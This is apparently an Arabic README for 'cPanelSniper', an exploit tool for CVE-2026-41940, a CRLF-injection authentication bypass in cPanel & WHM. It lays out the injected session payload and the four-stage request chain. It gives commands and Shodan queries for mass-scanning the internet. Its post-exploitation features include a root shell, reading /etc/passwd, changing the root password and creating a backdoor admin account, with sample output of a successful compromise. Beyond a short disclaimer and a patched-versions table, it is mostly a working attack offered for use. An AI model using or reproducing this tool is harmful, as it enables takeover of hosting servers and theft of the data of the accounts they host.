
CVE-2026-41940 — تجاوز المصادقة في cPanel وWHM عبر حقن CRLF في ملف الجلسة
CVE-2026-41940 — تجاوز المصادقة في cPanel & WHM عبر حقن CRLF في ملف الجلسة
سلسلة استغلال من 4 مراحل · قشرة WHM تفاعلية · ماسح شامل · جاهز للخطوط الأنابيب · stdlib فقط
cPanelSniper هو إطار عمل استغلال متخصص لثغرة CVE-2026-41940، وهي ثغرة حرجة في تجاوز المصادقة تؤثر على cPanel & WHM. تسمح الثغرة للمهاجمين عن بُعد دون مصادقة بالحصول على وصول جذري (root) إلى WHM عن طريق حقن تسلسلات CRLF في ملف الجلسة عبر ترويسة Authorization في HTTP — دون الحاجة إلى أي بيانات اعتماد صالحة.
لاختبار الاختراق المصرح به وبرامج مكافآت الثغرات فقط.
السبب الجذري يكمن في Session.pm: دالة saveSession() تستدعي filter_sessiondata() بعد كتابة ملف الجلسة على القرص. هذا يعني أن أحرف CRLF المضمنة في قيمة ترويسة Authorization: Basic تُكتب حرفيًا في ملف الجلسة، مما يحقن حقولًا يتحكم بها المهاجم قبل حدوث التنقية.
التدفق الطبيعي:
POST /login/ → filter_sessiondata() → كتابة الجلسة → فحص المصادقة
التدفق القابل للاستغلال:
POST /login/ → كتابة الجلسة (حقن حمولة CRLF) → filter_sessiondata() → فحص المصادقة يقرأ الملف المسموم
قيمة Authorization: Basic تُفك ترميزها إلى:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
تُكتب هذه الحقول مباشرة في ملف الجلسة على القرص. عند قراءتها مرة أخرى، يتعامل cPanel مع الجلسة كجلسة جذر مصادق عليها بالكامل.
┌─────────────────────────────────────────────────────────────┐
│ المرحلة 0 — اكتشاف اسم المضيف الأساسي │
│ GET /openid_connect/cpanelid → 307 → اسم المضيف الحقيقي │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 1 — إنشاء جلسة ما قبل المصادقة │
│ POST /login/?login_only=1 (بيانات اعتماد خاطئة) │
│ ← 401 + كوكي whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 2 — حقن CRLF │
│ GET / + Cookie: session + Authorization: Basic <الحمولة> │
│ cpsrvd يكتب حقول CRLF في ملف الجلسة │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 3 — النشر (أداة do_token_denied) │
│ GET /scripts2/listaccts │
│ يطلق مسح raw→cache — تصبح الحقول المحقونة نشطة │
│ ← 401 Token denied (متوقع) │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 4 — التحقق من وصول جذر WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = تم الاختراق │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
لا حاجة لتثبيت pip. بايثون 3.8+ stdlib خالص فقط.
# هدف واحد — فحص فقط
python3 cPanelSniper.py -u https://target.com:2087
# هدف واحد — قشرة تفاعلية بعد التجاوز
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# فحص شامل من ملف
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# فحص إجباري (تخطي اكتشاف cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force
# سرد جميع حسابات cPanel على الخادم
python3 cPanelSniper.py -u https://target.com:2087 --action list
# تنفيذ أمر نظام
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# الحصول على معلومات الخادم (اسم المضيف، الحمل، القرص، مضيف MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# الحصول على إصدار cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# تغيير كلمة مرور الجذر
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# قشرة WHM تفاعلية
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# من قائمة النطاقات
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# نتائج Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# أنبوب stdin
echo "https://target.com:2087" | python3 cPanelSniper.py
# مصادر متعددة مجتمعة
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
بعد تجاوز ناجح، يفتح خيار --action shell موجهًا تفاعليًا:
════════════════════════════════════════════════════════════
قشرة WHM — target.com
الإصدار: CVE-2026-41940 | المصادقة: تجاوز CRLF
اكتب 'help' للأوامر، 'exit' للخروج
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[حسابات cPanel] target.com:2087 (47 مستخدمًا)
user01 النطاق: example.com البريد: [email protected]
user02 النطاق: shop.com البريد: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[معلومات الخادم] https://target.com:2087
اسم المضيف: srv01.target.com
الحمل: 0.72 / 0.66 / 0.69
الإصدار: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[تم إنشاء مسؤول خلفي]
الهدف : https://target.com:2087
اسم المستخدم : mitsec
كلمة المرور : P@ss2026!
الملف الشخصي : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT] [--no-color]
الهدف:
-u, --url URL عنوان URL لهدف واحد (مثال: https://host:2087)
-l, --list LIST ملف يحتوي على عناوين URL (واحد في كل سطر)
--hostname HOSTNAME تجاوز ترويسة Host الأساسية (يُكتشف تلقائيًا)
الفحص:
-t, --threads N عدد الخيوط المتزامنة (الافتراضي: 10)
--timeout N مهلة الطلب بالثواني (الافتراضي: 15)
--rate-limit N تأخير بين الأهداف (الافتراضي: 0)
--force تخطي فحص اكتشاف cPanel
ما بعد الاستغلال:
--action ACTION الإجراء: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS كلمة مرور الجذر الجديدة (--action passwd)
--cmd CMD أمر نظام (--action cmd/exec)
--new-user USER اسم مستخدم cPanel جديد (--action adduser)
--new-domain DOMAIN نطاق cPanel جديد (--action adduser)
الإخراج:
-o, --output FILE حفظ النتائج في ملف JSON
--no-color تعطيل ألوان ANSI
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — تجاوز مصادقة cPanel & WHM عبر حقن CRLF
4 مراحل: ما قبل المصادقة → حقن CRLF → نشر → تحقق → ما بعد الاستغلال
في البرية | CVSS 10.0 | بواسطة Mitsec (@ynsmroztas)
الإعدادات:
الأهداف : 1
الخيوط : 10
المهلة : 15 ثانية
الإجراء : list
14:46:22 [SCAN] بدء سلسلة الاستغلال من 4 مراحل... https://target.com:2087
14:46:23 [INFO] تم اكتشاف اسم المضيف الأساسي: srv01.target.com
14:46:23 [STEP] المرحلة 1/4 — إنشاء جلسة ما قبل المصادقة...
14:46:23 [ OK] المرحلة 1: جلسة ما قبل المصادقة = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] المرحلة 2/4 — حقن CRLF عبر ترويسة Authorization...
14:46:24 [ OK] المرحلة 2: HTTP 307 → الرمز=/cpsess8493537756
14:46:24 [STEP] المرحلة 3/4 — إطلاق أداة do_token_denied (raw→cache)...
14:46:25 [ OK] المرحلة 3: HTTP 401 — تم إطلاق أداة do_token_denied
14:46:25 [STEP] المرحلة 4/4 — التحقق من وصول جذر WHM...
14:46:26 [PWND] تم تأكيد CVE-2026-41940 — وصول جذر WHM!
14:46:26 [PWND] الرمز : /cpsess8493537756
14:46:26 [PWND] الإصدار : 11.130.0.6
14:46:26 [PWND] عنوان API : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] تنفيذ إجراء ما بعد الاستغلال: list
14:46:27 [ API] listaccts → HTTP 200
[حسابات cPanel] target.com:2087 (47 حسابًا)
client01 النطاق: client01.com البريد: [email protected]
client02 النطاق: client02.net البريد: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — اكتمل الفحص
الوقت: 5.8 ثانية · الأهداف: 1
⚡ 1 هدف (أهداف) قابلة للاختراق
الهدف : https://target.com:2087
الإصدار : 11.130.0.6
الرمز : /cpsess8493537756
عنوان API : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
قيمة Authorization: Basic المحقونة (بعد فك ترميز base64) تحتوي على تسلسلات CRLF تصبح أسطرًا جديدة في ملف جلسة cPanel:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
يقوم قارئ جلسات cPanel بتحليل هذه كحقول جلسة شرعية، مما يمنح وصولًا جذريًا كاملًا إلى WHM.
الخطوة الحرجة والتي غالبًا ما تُغفل: بعد حقن CRLF (المرحلة 2)، توجد بيانات الجلسة المسمومة فقط في ملف الجلسة الخام. طلب إلى /scripts2/listaccts يطلق معالج do_token_denied الداخلي، الذي يدفع بيانات الجلسة الخام إلى ذاكرة التخزين المؤقت للجلسة. بدون هذا الدفع، ستعيد المرحلة 4 رمز 403.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- تجزئة ob (مستخرجة)
+-- اسم الجلسة (يُستخدم للحقن)
يتم استخراج اسم الجلسة (قبل %2C) واستخدامه كقيمة الكوكي للطلبات اللاحقة.
هذه الأداة مخصصة لاختبار الأمان المصرح به وبرامج مكافآت الثغرات فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية ولا يتحمل مسؤولية أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. احصل دائمًا على إذن كتابي مناسب قبل الاختبار.
Mitsec — @ynsmroztas
صُنع بـ ❤️ بواسطة @ynsmroztas
| الفرع | الإصدارات المتأثرة | الإصدار المُصحح |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| الأمر | الوصف |
|---|
id / whoami | عرض UID واسم المضيف |
hostname | الحصول على اسم مضيف الخادم |
version | معلومات إصدار cPanel |
info | الحمل، القرص، مضيف MySQL، الإصدار |
accounts | سرد جميع حسابات مستخدمي cPanel |
cat <path> | قراءة محتوى ملف |
ls [path] | سرد الدليل |
exec <cmd> | تنفيذ أمر نظام |
addadmin <user> <pass> | إنشاء مسؤول WHM خلفي |
passwd <pass> | تغيير كلمة مرور الجذر |
api <endpoint> [k=v ...] | استدعاء واجهة WHM JSON API الخام |
help | عرض جميع الأوامر |
exit | الخروج من القشرة |